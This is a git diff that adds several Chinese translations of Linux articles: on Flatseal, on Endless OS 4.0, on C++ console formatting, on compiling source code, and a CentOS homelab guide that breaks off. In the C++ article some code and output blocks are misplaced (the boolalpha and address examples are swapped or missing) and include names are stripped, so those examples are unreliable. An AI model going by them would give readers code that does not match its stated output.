reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14034-1.html" + +用 Flatseal 图形化管理 Flatpak 应用的权限 +====== + +![](https://img.linux.net.cn/data/attachment/album/202111/30/135209fbcvqnvnzidvg2hw.jpg) + +新版本的安卓系统让你对单个应用的访问和权限有了更精细的控制。这一点至关重要,因为许多应用曾经(正在)滥用系统权限。下载一个天气应用,它将要求访问你的通话记录,好像这与天气有什么关系一样。 + +为什么我在说安卓应用的权限?因为这可能与此应用的功能有关。 + +你可能已经知道 [什么是 Flatpak][1]。这些都是沙盒应用,可以选择访问系统资源,如文件存储、网络接口等。 + +就像 Android 一样,你可以控制 Flatpak 应用对系统资源的访问。默认情况下,这要用 [Flatpak 命令][2],不是每个人都能适应它。 + +因此,有一个叫做 Flatseal 的小工具,可以让你在应用层面上管理和控制 Flatpak 的权限。 + +### Flatseal + +![Flatseal][3] + +[Flatseal][4] 是一个图形化的工具,用于审查和修改你的 Flatpak 应用的权限。这使得事情比通过命令要容易得多。 + +Flatseal 会列出所有已安装的 Flatpak 应用。当你选择一个应用,你可以看到所有的权限。很容易发现已启用的权限,如果你愿意,你可以禁用它。 + +例如,Ksnip 是一个屏幕截图工具,但它也有联网权限,可以用 Imgur 等在线服务分享截图。如果你不需要它,你可以禁用它。 + +![Control permissions of individual Flatpak apps][5] + +如果不出意外,看看一个应用有什么样的权限是很有趣的。例如,你可以看到 ksnip 有在后台运行的能力(这样你就可以用键盘快捷键进行截图)。 + +![][6] + +### 安装 Flatseal + +既然管理的都是 Flatpak,那么 Flatseal 作为一个 Flatpak 包来使用也是合理的。 + +在 Fedora 上,如果已经添加 Flathub 仓库,你可以从软件中心安装它。 + +![Installing Flatseal from the software center][7] + +否则,命令行总是可以帮助你。 + +``` +flatpak install flathub com.github.tchx84.Flatseal +``` + +### 你真的需要控制权限吗? + +这是一个主观的问题,完全取决于你。值得庆幸的是,到目前为止,桌面 Linux 应用并不像 Android 应用那样滥用权限。 + +一个普通用户通常不会去管这些事情,这完全没问题。 + +然而,如果你对这些事情过于谨慎,或者你找到一个很好的理由,Flatseal 提供了一个简单的选择。 + +你还应该小心你所改变的权限。如果你禁用了对应用的运作至关重要的权限,在使用应用时肯定会造成麻烦。 + +所以,总的来说,这不是一个普通用户要使用的东西。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/flatseal/ + +作者:[Abhishek Prakash][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/what-is-flatpak/ +[2]: https://itsfoss.com/flatpak-guide/ +[3]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/11/flatseal.png?resize=800%2C474&ssl=1 +[4]: https://flathub.org/apps/details/com.github.tchx84.Flatseal +[5]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/flatpak-permission-control-flatseal.png?resize=800%2C503&ssl=1 +[6]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/11/flatpak-permissions-with-flatseal.png?resize=800%2C441&ssl=1 +[7]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/11/install-flatseal.png?resize=800%2C467&ssl=1 diff --git a/published/202111/20211125 Endless OS 4.0 is a Long-Term Support Version with Usability Improvements.md b/published/202111/20211125 Endless OS 4.0 is a Long-Term Support Version with Usability Improvements.md new file mode 100644 index 0000000000..a814e8bba9 --- /dev/null +++ b/published/202111/20211125 Endless OS 4.0 is a Long-Term Support Version with Usability Improvements.md @@ -0,0 +1,89 @@ +[#]: subject: "Endless OS 4.0 is a Long-Term Support Version with Usability Improvements" +[#]: via: "https://news.itsfoss.com/endless-os-4-0-lts/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14024-1.html" + +没有终点的操作系统 Endless OS 发布 4.0 LTS +====== + +> Endless OS 4.0 是一个长期支持版本,带有大量必要的改进,默认的应用程序以 Flatpak 包的形式提供。 + +![](https://i1.wp.com/news.itsfoss.com/wp-content/uploads/2021/11/endless-os-4.0.jpg?w=1200&ssl=1) + +Endless OS 是一个基于 Debian 的 Linux 发行版,重点捆绑提供几个重要的应用程序和资源,以帮助充分利用你的计算机,而不需要互联网连接。(LCTT 译注:因此,在互联网的“终点”之外也可使用。) + +它主要是为教育和不能经常访问互联网的用户定制的。而如果你连接到互联网,也有一些工具可以帮助你浏览网页并与朋友/家人保持联系。 + +他们最新发布的 Endless OS 4.0 是一个长期支持的版本,带有一些改进。让我们简单了解一下。 + +### Endless OS 4.0 的新内容 + +澄清一下,这是一个 LTS 版本,将被维护若干年(具体不清楚),即使是在 Endless OS 5.0 版本发布之后,它也会得到更新。 + +除了 LTS 的好处之外,其他变化还包括: + +#### 改进的应用程序网格导航 + +![来源:Endlessos.org][1] + +在以前的版本中,列出的应用程序散落在多个页面之间。由于这个原因,用户可能不会注意到它们。 + +因此,在 Endless OS 4.0 中,增加了额外的箭头和图标,以突出多页面和应用程序网格的存在。你应该看到,如果你在桌面上切换页面,可以探索到更多的应用程序。 + +#### 快速切换用户 + +在一个用户已经登录时,你现在有两种不同的方式来快速切换到另一个用户。 + +![来源:Endlessos.org][2] + +传统上,你可以在用户菜单中找到它(和注销选项一起)。或者,你也可以使用新的多用户图标从锁屏上直接切换。 + +![来源:Endlessos.org][3] + +#### 新的默认墙纸 + +每当有重大的版本升级时,新的墙纸总是让人耳目一新。 + +如果你想在任何其他系统中尝试它们,你可以在 [Unsplash][4] 上找到列出的这些壁纸。 + +#### 免驱动打印 + +你不再需要依靠讨厌的打印机驱动程序来检测连接的打印设备。有了 Endless OS 4.0,任何在本地网络中支持 [互联网打印协议][5](IPP)的设备都可以自动检测并连接。 + +当你升级时,会删除任何已配置的打印机。然而,如果需要的话,你可以手动将它们添加回来。 + +### 其他改进措施 + +除了基本的变化之外,你还会发现更新的图形驱动、升级的 Linux 内核等等。其中一些包括: + + * [Linux 内核 5.11][6] + * NVIDIA 驱动程序 460.91.03 + * 支持 8GB 版树莓派 4B + * 一些默认的应用程序,如 Rythmbox,以 Flatpak 软件包的方式安装 + +你还会注意到,作为升级的一部分,移除了一些功能。关于全部细节,你可以参考 [官方发布说明][7]。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/endless-os-4-0-lts/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2021/11/endless-os-4-app-grid.png?w=1200&ssl=1 +[2]: https://i2.wp.com/news.itsfoss.com/wp-content/uploads/2021/11/release-notes-4.0-switch-user-menu.png?w=328&ssl=1 +[3]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2021/11/release-notes-4.0-switch-user-lock-screen.png?w=188&ssl=1 +[4]: https://unsplash.com/photos/WeYamle9fDM +[5]: https://en.wikipedia.org/wiki/Internet_Printing_Protocol +[6]: https://news.itsfoss.com/linux-kernel-5-11-release/ +[7]: https://support.endlessos.org/en/endless-os/release-notes/4-0 diff --git a/published/202111/20211125 Tips for formatting when printing to console from C.md b/published/202111/20211125 Tips for formatting when printing to console from C.md new file mode 100644 index 0000000000..6b7547fc8e --- /dev/null +++ b/published/202111/20211125 Tips for formatting when printing to console from C.md @@ -0,0 +1,326 @@ +[#]: subject: "Tips for formatting when printing to console from C++" +[#]: via: "https://opensource.com/article/21/11/c-stdcout-cheat-sheet" +[#]: author: "Stephan Avenwedde https://opensource.com/users/hansic99" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14027-1.html" + +C++ 控制台格式化打印技巧 +====== + +> 下次当你为控制台输出的格式而苦恼时,请参考这篇文章及其速查表。 + +![](https://img.linux.net.cn/data/attachment/album/202111/28/100548utbax4o4ttwcgyjz.jpg) + +我写文章主要是为了给自己写文档。我在编程时非常健忘,所以我经常会写下有用的代码片段、特殊的特性,以及我使用的编程语言中的常见错误。这篇文章完全切合我最初的想法,因为它涵盖了从 C++ 控制台格式化打印时的常见用例。 + +像往常一样,这篇文章带有大量的例子。除非另有说明,代码片段中显示的所有类型和类都是 `std` 命名空间的一部分。所以当你阅读这段代码时,你必须在类型和类的前面加上`using namespace std;`。当然,该示例代码也可以在 [GitHub][3] 上找到。 + +### 面向对象的流 + +如果你曾经用过 C++ 编程,你肯定使用过 [cout][4]。当你包含 `` 时,[ostream][5] 类型的 `cout` 对象就进入了作用域。这篇文章的重点是 `cout`,它可以让你打印到控制台,但这里描述的一般格式化对所有 [ostream][5] 类型的流对象都有效。`ostream` 对象是 `basic_ostream` 的一个实例,其模板参数为 `char` 类型。头文件 `` 是 `` 的包含层次结构的一部分,包含了常见类型的前向声明。 + +类 `basic_ostream` 继承于 `basic_ios`,该类型又继承于 `ios_base`。在 [cppreference.com][6] 上你可以找到一个显示不同类之间关系的类图。 + +`ios_base` 类是所有 I/O 流类的基类。`basic_ios` 类是一个模板类,它对常见的字符类型进行了模板特化specialization,称为 `ios`。因此,当你在标准 I/O 的上下文中读到 `ios` 时,它是 `basic_ios` 的 `char` 类型的模板特化。 + +### 格式化流 + +一般来说,基于 `ostream` 的流有三种格式化的方法。 + + 1. 使用 `ios_base` 提供的格式标志。 + 2. 在头文件 `` 和 `` 中定义的流修改函数。 + 3. 通过调用 `<<` 操作符的 [特定重载][7]。 + +所有这些方法都有其优点和缺点,通常取决于使用哪种方法的情况。下面显示的例子混合使用所有这些方法。 + +#### 右对齐 + +默认情况下,`cout` 占用的空间与要打印的数据所需的空间一样大。为了使这种右对齐的输出生效,你必须定义一个行允许占用的最大宽度。我使用格式标志来达到这个目的。 + +右对齐输出的标志和宽度调整只适用于其后的行。 + +``` +cout.setf(ios::right, ios::adjustfield); +cout.width(50); +cout << "This text is right justified" << endl; +cout << "This text is left justified again" << endl; +``` + +在上面的代码中,我使用 `setf` 配置了右对齐的输出。我建议你将位掩码 `ios::adjustfield` 应用于 `setf`,这将使位掩码指定的所有标志在实际的 `ios::right` 标志被设置之前被重置,以防止发生组合碰撞。 + +#### 填充空白 + +当使用右对齐输出时,默认情况下,空的地方会用空白字符填充。你可以通过使用 `setfill` 指定填充字符来改变它: + +``` +cout << right << setfill('.') << setw(30) << 500 << " pcs" << endl; +cout << right << setfill('.') << setw(30) << 3000 << " pcs" << endl; +cout << right << setfill('.') << setw(30) << 24500 << " pcs" << endl; +``` + +代码输出如下: + +``` +...........................500 pcs +..........................3000 pcs +.........................24500 pcs +``` + +#### 组合  + +想象一下,你的 C++ 程序记录了你的储藏室库存。不时地,你想打印一份当前库存的清单。要做到这一点,你可以使用以下格式。 + +下面的代码是左对齐和右对齐输出的组合,使用点作为填充字符,可以得到一个漂亮的列表: + +``` +cout << left << setfill('.') << setw(20) << "Flour" << right << setfill('.') << setw(20) << 0.7 << " kg" << endl; +cout << left << setfill('.') << setw(20) << "Honey" << right << setfill('.') << setw(20) << 2 << " Glasses" << endl; +cout << left << setfill('.') << setw(20) << "Noodles" << right << setfill('.') << setw(20) << 800 << " g" << endl; +cout << left << setfill('.') << setw(20) << "Beer" << right << setfill('.') << setw(20) << 20 << " Bottles" << endl; +``` + +输出: + +``` +Flour...............................0.70 kg +Honey..................................2 Glasses +Noodles..............................800 g +Beer..................................20 Bottles +``` + +### 打印数值 + +当然,基于流的输出也能让你输出各种变量类型。 + +#### 布尔型 + +`boolalpha` 开关可以让你把布尔型的二进制解释转换为字符串: + +``` +Flour...............................0.70 kg +Honey..................................2 Glasses +Noodles..............................800 g +Beer..................................20 Bottles +``` + +以上几行产生的输出结果如下: + +``` +Boolean output without using boolalpha: 1 / 0 +Boolean output using boolalpha: true / false +``` + +#### 地址 + +如果一个整数的值应该被看作是一个地址,那么只需要把它投到 `void*` 就可以了,以便调用正确的重载。下面是一个例子: + +``` +cout << "Boolean output without using boolalpha: " << true << " / " << false << endl; +cout << "Boolean output using boolalpha: " << boolalpha << true << " / " << false << endl; +``` + +该代码产生了以下输出: + +``` +Treat as unsigned long: 43981 +Treat as address: 0000ABCD +``` + +该代码打印出了具有正确长度的地址。一个 32 位的可执行文件产生了上述输出。 + +#### 整数 + +打印整数是很简单的。为了演示,我使用 `setf` 和 `setiosflags` 来指定数字的基数。应用流修改器 `hex`/`oct` 也有同样的效果。 + +``` +int myInt = 123; + +cout << "Decimal: " << myInt << endl; + +cout.setf(ios::hex, ios::basefield); +cout << "Hexadecimal: " << myInt << endl; + +cout << "Octal: " << resetiosflags(ios::basefield) << setiosflags(ios::oct) << myInt << endl; +``` + +**注意:** 默认情况下,没有指示所使用的基数,但你可以使用 `showbase` 添加一个。 + +``` +Decimal: 123 +Hexadecimal: 7b +Octal: 173 +``` + +#### 用零填充 + +``` +0000003 +0000035 +0000357 +0003579 +``` + +你可以通过指定宽度和填充字符得到类似上述的输出: + +``` +cout << setfill('0') << setw(7) << 3 << endl; +cout << setfill('0') << setw(7) << 35 << endl; +cout << setfill('0') << setw(7) << 357 << endl; +cout << setfill('0') << setw(7) << 3579 << endl; +``` + +#### 浮点值 + +如果我想打印浮点数值,我可以选择“固定”和“科学”格式。此外,我还可以指定精度: + +``` +double myFloat = 1234.123456789012345; +int defaultPrecision = cout.precision(); // == 2 + +cout << "Default precision: " << myFloat << endl; +cout.precision(4); +cout << "Modified precision: " << myFloat << endl; +cout.setf(ios::scientific, ios::floatfield); +cout << "Modified precision & scientific format: " << myFloat << endl; +/* back to default */ +cout.precision(defaultPrecision); +cout.setf(ios::fixed, ios::floatfield); +cout << "Default precision & fixed format: " << myFloat << endl; +``` + +上面的代码产生以下输出: + +``` +Default precision: 1234.12 +Modified precision: 1234.1235 +Modified precision & scientific format: 1.2341e+03 +Default precision & fixed format: 1234.12 +``` + +#### 时间和金钱 + +通过 `put_money`,你可以用正确的、与当地有关的格式来打印货币单位。这需要你的控制台能够输出 UTF-8 字符集。请注意,变量 `specialOffering` 以美分为单位存储货币价值。 + +``` +long double specialOffering = 9995; + +cout.imbue(locale("en_US.UTF-8")); +cout << showbase << put_money(specialOffering) << endl; +cout.imbue(locale("de_DE.UTF-8")); +cout << showbase << put_money(specialOffering) << endl; +cout.imbue(locale("ru_RU.UTF-8")); +cout << showbase << put_money(specialOffering) << endl; +``` + +`ios` 的 `imbue` 方法让你指定一个地区。通过命令 `locale -a`,你可以得到你系统中所有可用的地区标识符的列表。  + +``` +$99.95 +99,950€ +99,950₽ +``` + +(不知道出于什么原因,在我的系统上,它打印的欧元和卢布有三个小数位,对我来说看起来很奇怪,但这也许是官方的格式。) + +同样的原则也适用于时间输出。函数 `put_time` 可以让你以相应的地区格式打印时间。此外,你可以指定时间对象的哪些部分被打印出来。 + +``` +time_t now = time(nullptr); +tm localtm = *localtime(&now); + + +cout.imbue(locale("en_US.UTF-8")); +cout << "en_US : " << put_time(&localtm, "%c") << endl; +cout.imbue(locale("de_DE.UTF-8")); +cout << "de_DE : " << put_time(&localtm, "%c") << endl; +cout.imbue(locale("ru_RU.UTF-8")); +cout << "ru_RU : " << put_time(&localtm, "%c") << endl; +``` + +格式指定符 `%c` 会打印一个标准的日期和时间字符串: + +``` +en_US : Tue 02 Nov 2021 07:36:36 AM CET +de_DE : Di 02 Nov 2021 07:36:36 CET +ru_RU : Вт 02 ноя 2021 07:36:36 +``` + +### 创建自定义的流修改器 + +你也可以创建你自己的流。下面的代码在应用于 `ostream` 对象时插入了一个预定义的字符串: + +``` +ostream& myManipulator(ostream& os) { + string myStr = ">>>Here I am<<<"; + os << myStr; + return os; +} +``` + +**另一个例子:** 如果你有重要的事情要说,就像互联网上的大多数人一样,你可以使用下面的代码在你的信息后面根据重要程度插入感叹号。重要程度被作为一个参数传递: + +``` +struct T_Importance { + int levelOfSignificance; +}; + +T_Importance importance(int lvl){ + T_Importance x = {.levelOfSignificance = lvl }; + return x; +} + +ostream& operator<<(ostream& __os, T_Importance t){ + + for(int i = 0; i < t.levelOfSignificance; ++i){ + __os.put('!'); + } + return __os; +} +``` + +这两个修饰符现在都可以简单地传递给 `cout`: + +``` +cout << "My custom manipulator: " << myManipulator << endl; + +cout << "I have something important to say" << importance(5) << endl; +``` + +产生以下输出: + +``` +My custom manipulator: >>>Here I am<<< + +I have something important to say!!!!! +``` + +### 结语 + +下次你再纠结于控制台输出格式时,我希望你记得这篇文章及其 [速查表][2]。 + +在 C++ 应用程序中,`cout` 是 [printf][8] 的新邻居。虽然使用 `printf` 仍然有效,但我可能总是喜欢使用 `cout`。特别是与定义在 `` 中的修改函数相结合,会产生漂亮的、可读的代码。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/11/c-stdcout-cheat-sheet + +作者:[Stephan Avenwedde][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/hansic99 +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/OSDC_women_computing_2.png?itok=JPlR5aCA (Woman sitting in front of her computer) +[2]: https://opensource.com/downloads/cout-cheat-sheet +[3]: https://github.com/hANSIc99/cpp_output_formatting +[4]: https://en.cppreference.com/w/cpp/io/cout +[5]: https://en.cppreference.com/w/cpp/io/basic_ostream +[6]: https://en.cppreference.com/w/cpp/io +[7]: https://en.cppreference.com/w/cpp/io/basic_ostream/operator_ltlt +[8]: https://opensource.com/article/20/8/printf diff --git a/published/202111/20211129 Anyone can compile open source code in these three simple steps.md b/published/202111/20211129 Anyone can compile open source code in these three simple steps.md new file mode 100644 index 0000000000..2ef3aa0e5a --- /dev/null +++ b/published/202111/20211129 Anyone can compile open source code in these three simple steps.md @@ -0,0 +1,245 @@ +[#]: subject: "Anyone can compile open source code in these three simple steps" +[#]: via: "https://opensource.com/article/21/11/compiling-code" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14033-1.html" + +任何人都可以通过这三个简单的步骤编译开源代码 +====== + +> 你不需要知道如何写或读代码就可以编译它。 + +![](https://img.linux.net.cn/data/attachment/album/202111/30/133708wgq4rkecgbre93e1.jpg) + +安装软件的方法有很多,但开源让你有了一个其他地方所没有的选择:你可以自己编译代码。编译源代码的经典三步流程是: + +``` +$ ./configure +$ make +$ sudo make install +``` + +由于有了这些命令,你可能会惊讶地发现,你不需要知道如何写代码,甚至不需要读代码就可以编译它。 + +### 安装用来构建软件的命令 + +由于这是你第一次进行编译,所以有一个一次性的准备步骤,即安装用于构建软件的命令。具体来说,你需要一个编译器。编译器(比如 GCC 或 LLVM)可以将像这样的源代码: + +``` +#include + +using namespace std; + +int main() { + cout << "hello world"; +} +``` + +变成 _机器语言_,即 CPU 用来处理信息的指令。你可以看一下机器代码,但它对你来说没有任何意义(除非你是一个 CPU)。 + +你可以使用你的软件包管理器安装 GNU 编译器集合(GCC)和 LLVM 编译器,以及其他在 Fedora、CentOS、Mageia 和类似发行版上进行编译的基本命令: + +``` +$ sudo dnf install @development clang +``` + +在 Debian、Elementary、Mint 和类似发行版上命令如下: + +``` +$ sudo apt install build-essential clang +``` + +在你的系统设置好后,有几项你每次编译软件时都要重复进行的任务: + + 1. 下载源代码 + 2. 展开源代码的存档文件 + 3. 编译 + +你已经有了所有你需要的命令,所以现在你需要一些软件来编译。 + +### 1、下载源代码 + +获得一个应用程序的源代码和获得任何可下载的软件一样。你得去一个网站或一个代码管理网站,如 GitLab、SourceForge 或 GitHub。 通常情况下,开源软件既有正在进行的工作(“当前current”或 “每夜nightly”)的构建版本,也有打包的“稳定stable”发布版本。在可能的情况下,使用稳定版本,除非你有理由相信,或者对代码有足够的了解,能够在出现故障时修复。术语“稳定版”表明这些代码经过了测试,而且该应用程序的程序员对代码有足够的信心,从而将其打包成 `.zip` 或 `.tar` 归档,给了它一个官方编号,有时还有一个发布名称,然后提供给一般的非程序员公众下载。 + +在这个练习中,我使用 [Angband][2],一个开源的(GPLv2)ASCII 地牢猎手游戏。这是一个简单的应用程序,其复杂程度刚好可以说明你在自己编译软件时需要考虑的问题。 + +从 [网站][2] 上下载其源代码。 + +### 2、展开源代码的存档文件 + +源代码通常是以存档的形式交付的,因为源代码通常由多个文件组成的。在与之交互之前,你必须先解压,不管它是一个 tarball、一个 zip 文件、一个 7z 文件,还是其他完全不同的东西。  + +``` +$ tar --extract --file Angband-x.y.z.tar.gz +``` + +一旦解压缩后,就把目录切换到解压缩的目录,然后看一看。通常在目录的顶层有一个 `README` 文件。这个文件,一般会包含你需要做什么来编译代码的指导。`README` 通常包含关于代码的这些重要方面的信息: + + * **语言**:代码使用的是什么语言(例如,C、C++、Rust、Python)。 + * **依赖性**:你需要在你的系统上安装其他什么的软件,以便这个应用程序能够构建和运行。 + * **说明**:你构建该软件所需要采取的明确步骤。偶尔,他们会在一个专门的文件中包含这些信息,这个文件被直观地称为 `INSTALL`。 + +如果 `README` 文件中不包含这些信息,可以考虑向开发者提交一份错误报告。你不是唯一需要介绍一下源代码的人。不管他们有多么丰富的经验,每个人都会对从未见过的源代码感到陌生,而文档是很重要的! + +Angband 的维护者给出了在线说明的链接,描述了如何编译代码。这份文件还描述了你需要安装哪些其他软件,尽管它并没有确切地说明这一点。该网站说,“有几个不同的可选构建的前端(GCU、SDL、SDL2 和 X11),你可以使用诸如 `--enable-sdl`,`--disable-x11` 的参数配置。”这可能对你来说看起来像天书,但你经常编译代码后就会习惯。无论你是否理解 X11 或 SDL2 是什么,它们都是你经过几个月定期编译代码后经常看到的要求。你会对大多数软件需要其他软件库的想法感到适应,因为它们建立在其他技术之上。不过在这种情况下,Angband 非常灵活,无论是否有这些可选的依赖,都可以进行编译,所以现在,你可以假装没有额外的依赖。 + +### 3、编译代码 + +构建代码的典型步骤是: + +``` +$ ./configure +$ make +$ sudo make install +``` + +这些是使用 [Autotools][3] 构建的项目的步骤,该框架是为了规范源代码的交付方式而创建的。然而,还有一些其他框架(如 [Cmake][4]),它们需要不同的步骤。当项目没有遵循 Autotools 或 Cmake 框架时,它们往往会在 `README` 文件中提醒你。 + +### 配置  + +Angband 使用 Autotools,所以现在是编译代码的时候了! + +在 Angband 目录中,首先,运行随源码一起提供的配置脚本: + +``` +$ ./configure +``` + +这一步将扫描你的系统,找到 Angband 正确构建所需的依赖性。有些依赖是非常基本的,没有它们你的电脑就无法运行,而有些则是专门的。在这一过程结束时,该脚本会给你一份关于它所发现的东西的报告: + +``` +[...] +configure: creating ./config.status +config.status: creating mk/buildsys.mk +config.status: creating mk/extra.mk +config.status: creating src/autoconf.h + +Configuration: + + Install path: /usr/local + binary path: /usr/local/games + config path: /usr/local/etc/angband/ + lib path: /usr/local/share/angband/ + doc path: /usr/local/share/doc/angband/ + var path: (not used) + (save and score files in ~/.angband/Angband/) + +-- Frontends -- +- Curses Yes +- X11 Yes +- SDL2 Disabled +- SDL Disabled +- Windows Disabled +- Test No +- Stats No +- Spoilers Yes + +- SDL2 sound Disabled +- SDL sound Disabled +``` + +有些输出可能对你有意义,有些可能没有。无论如何,你可能注意到 SDL2 和 SDL 被标记为 “Disabled”,Test 和 Stats 都被标记为 “None”。虽然这些信息是负面的,但这并不一定是一件坏事。从本质上讲,这就是**警告**和**错误**之间的区别。如果配置脚本遇到了会阻止它构建代码的东西,它就会用一个错误来提醒你。 + +如果你想稍微优化一下你的构建,你可以选择解决这些负面信息。通过搜索 Angband 文档,你可能会确定 Test 和 Stats 实际上并不是你感兴趣的(它们是 Angband 专用于开发者的选项)。然而,通过在线研究,你可能会发现 SDL2 将是一个很好的功能。  + +要解决编译代码时的依赖问题,你需要安装缺少的组件和该缺少的组件的 _开发库_。换句话说,Angband 需要 SDL2 来播放声音,但它需要 `SDL2-devel`(在 Debian 系统上称为 `libsdl2-dev`)来构建。用你的软件包管理器安装这两个组件: + +``` +$ sudo dnf install sdl2 sdl2-devel +``` + +再试一下配置脚本: + +``` +$ ./configure --enable-sdl2 +[...] +Configuration: +[...] +- Curses Yes +- X11 Yes +- SDL2 Yes +- SDL Disabled +- Windows Disabled +- Test No +- Stats No +- Spoilers Yes + +- SDL sound Disabled +- SDL2 sound Yes +``` + +### 制作(编译) + +一旦一切配置完毕,运行 `make` 命令: + +``` +$ make +``` + +这通常需要一段时间,但它提供了很多视觉反馈,所以你会知道代码正在被编译。 + +### 安装 + +最后一步是安装你刚刚编译的代码。安装代码并没有什么神奇之处。所做的就是复制很多文件到非常具体的目录中。无论你是从源代码编译还是运行花哨的图形安装向导,都是如此。由于这些代码会被复制到系统级目录,你必须有 root(管理)权限,这是由 `sudo` 命令授予的。 + +``` +$ sudo make install +``` + +### 运行该应用程序 + +一旦应用程序被安装,你就可以运行它。根据 Angband 文档,启动游戏的命令是 `angband`,所以可以试试: + +``` +$ angband +``` + +![Compile code lead image][6] + +### 编译代码 + +无论是在我的 Slackware 台式电脑上,还是在我的 CentOS 笔记本电脑上,我都会使用 NetBSD 的 [pkgsrc][8] 系统编译我自己的大部分应用程序。我发现,通过自己编译软件,我可以对应用程序中包含的功能、如何配置、使用的库版本等有自己的想法。这很有意义,它帮助我跟上了新的版本,而且因为我有时会在这个过程中发现错误,它帮助我参与了很多不同的开源项目。 + +你很少会只有编译软件的一种方式可选,大多数开源项目同时提供源代码(这就是为什么它被称为“开源”)和可安装包。是否从源代码编译是你自己的选择,也许是因为你想要最新版本中还没有的新功能,或者只是因为你喜欢自己编译代码。 + +### 家庭作业 + +Angband 可以使用 Autotools 或 Cmake,所以如果你想体验另一种构建代码的方式,可以试试这个: + +``` +$ mkdir build +$ cd build +$ cmake .. +$ make +$ sudo make install +``` + +你也可以尝试用 LLVM 编译器而不是 GNU 编译器集合(GCC)进行编译。现在,我把这个问题留给你自己去研究(提示:尝试设置 `CC` [环境变量][9])。 + +一旦你完成了对 Angband 的源代码和至少几个地牢的探索(你已经赢得了一些休息时间),可以看看其他一些代码库。很多人都会使用 Autotools 或 Cmake,而其他人可能会使用不同的东西。看看你能构建的成果! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/11/compiling-code + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/code_development_programming.png?itok=M_QDcgz5 (Developing code.) +[2]: https://rephial.org/ +[3]: https://opensource.com/article/19/7/introduction-gnu-autotools +[4]: https://opensource.com/article/21/5/cmake +[5]: https://opensource.com/file/514986 +[6]: https://opensource.com/sites/default/files/uploads/angband.jpg (Compile code lead image) +[7]: https://creativecommons.org/licenses/by-sa/4.0/ +[8]: https://opensource.com/article/19/11/pkgsrc-netbsd-linux +[9]: https://opensource.com/article/19/8/what-are-environment-variables diff --git a/published/202112/20190604 Create a CentOS homelab in an hour.md b/published/202112/20190604 Create a CentOS homelab in an hour.md new file mode 100644 index 0000000000..4b534ab06b --- /dev/null +++ b/published/202112/20190604 Create a CentOS homelab in an hour.md @@ -0,0 +1,202 @@ +[#]: collector: (lujun9972) +[#]: translator: (JaphiaChen) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14130-1.html) +[#]: subject: (Create a CentOS homelab in an hour) +[#]: via: (https://opensource.com/article/19/6/create-centos-homelab-hour) +[#]: author: (Bob Murphy https://opensource.com/users/murph) + +一个小时内创建一个 CentOS 家庭实验室 +====== + +> 用一个带有虚拟化软件的系统(CentOS ISO),花费一个小时左右来设置一套自给自足的基本 Linux 服务器。 + +![](https://img.linux.net.cn/data/attachment/album/202112/30/093738krqqc3c5mc35lu36.jpg) + +当学习新的 Linux 技能时(或像我一样学习 Linux 认证),在笔记本电脑上有一些可用的虚拟机(VM)是很有帮助的,这样你就可以在上面学习。 + +但是,如果在没有良好互联网连接的地方,你却想在一个 Web 服务器上工作,该怎么办? 想要使用没有安装过的其他软件,该怎么办? 如果需要从发行版的存储库中下载它,那么你可能会碰壁。只要做一点准备,你就可以设置一个 [家庭实验室][2],你就在任何地方安装所需的任何东西,无论是否有网络连接。 + +要求如下: + +* 一个你打算使用的已下载的 Linux 发行版(例如,CentOS、Red Hat 等)ISO 文件 +* 一台具有虚拟化功能的主机。这里使用带有 [KVM][4] 和 [virt-manager][5] 的 [Fedora][3],但其它 Linux 也可以类似工作。你甚至可以使用 Windows 或 Mac 进行虚拟化,但在实现方面存在一些差异 +* 大约一个小时 + +### 1、为存储主机创建一个虚拟机 + +使用 `virt-manager` 创建一个中等规格的虚拟机:1GB RAM、一个 CPU 和 16GB 磁盘空间就足够。 + +在虚拟机上安装 [CentOS 7][6]。 + +![Installing a CentOS homelab][7] + +选择你的语言并继续。 + +单击 “安装位置Installation Destination”,选择本地磁盘,勾选 “自动配置分区Automatically Configure Partitioning” 